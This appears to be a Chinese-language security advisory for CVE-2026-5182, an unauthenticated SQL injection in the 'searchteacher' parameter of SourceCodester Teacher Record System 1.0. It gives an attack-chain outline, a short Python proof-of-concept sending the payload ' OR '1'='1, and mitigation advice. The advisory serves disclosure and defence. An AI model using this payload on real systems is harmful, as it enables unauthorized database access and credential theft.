IPBUF安全漏洞报告
English
CVE-2026-5182 CVSS 7.3 高危

CVE-2026-5182 SourceCodester教师记录系统SQL注入漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-5182
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Teacher Record System

相关标签

SQL注入SourceCodesterTeacher Record System远程漏洞无需认证

漏洞概述

SourceCodester Teacher Record System 1.0版本中的参数处理组件存在SQL注入漏洞。由于对用户输入的searchteacher参数缺乏有效的过滤,未经身份认证的远程攻击者可利用该漏洞执行恶意SQL语句,从而窃取敏感数据、篡改数据库信息或影响系统可用性。

技术细节

该漏洞位于SourceCodester Teacher Record System 1.0的参数处理组件中,具体影响Teacher Record System文件。系统在处理用户通过HTTP请求提交的“searchteacher”参数时,未对输入内容进行严格的类型检查和安全过滤,直接将其拼接到后台SQL查询语句中。这种不安全的编码方式导致了经典的SQL注入漏洞。由于漏洞无需认证(PR:N)且无需用户交互(UI:N),攻击者可以通过网络(AV:N)远程发起攻击。攻击者只需构造包含恶意SQL代码的Payload(例如使用单引号闭合查询并附加UNION SELECT语句),即可欺骗数据库引擎执行非授权命令。利用成功后,攻击者可以绕过登录验证,提取敏感信息(如用户凭证),修改数据库内容,甚至在某些情况下执行系统命令,严重影响系统的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别互联网上运行SourceCodester Teacher Record System 1.0的目标服务器。
STEP 2
武器化
攻击者构造针对“searchteacher”参数的恶意SQL Payload,旨在绕过基本验证或提取数据。
STEP 3
投递
攻击者通过向受影响的端点发送特制的HTTP GET或POST请求,将Payload投递至服务器。
STEP 4
利用
服务器端应用程序在未过滤的情况下将Payload直接拼接到SQL查询中并执行,导致数据库响应恶意命令。
STEP 5
达成目标
攻击者成功获取数据库中的敏感信息,或对数据进行篡改和删除,破坏系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def verify_sqli(target_url): # Vulnerable parameter identified in the description params = { "searchteacher": "' OR '1'='1" # Basic PoC payload to test injection } try: # Sending the malicious request response = requests.get(target_url, params=params, timeout=10) # Analyzing response to confirm vulnerability # In a real scenario, check for specific database errors or data leakage if response.status_code == 200: print("[+] Potential SQL Injection vulnerability confirmed!") print(f"[+] Response Length: {len(response.text)}") else: print("[-] Target may not be vulnerable or is down.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") # Example usage # verify_sqli("http://target-ip/Teacher_Record_System/")

影响范围

SourceCodester Teacher Record System 1.0

防御指南

临时缓解措施
在未升级修复前,建议管理员限制对系统的公网访问,仅允许受信任的IP地址连接。同时,部署Web应用防火墙(WAF)并配置针对SQL注入攻击的防护规则,对包含单引号、UNION、SELECT等关键字的请求进行拦截,以降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表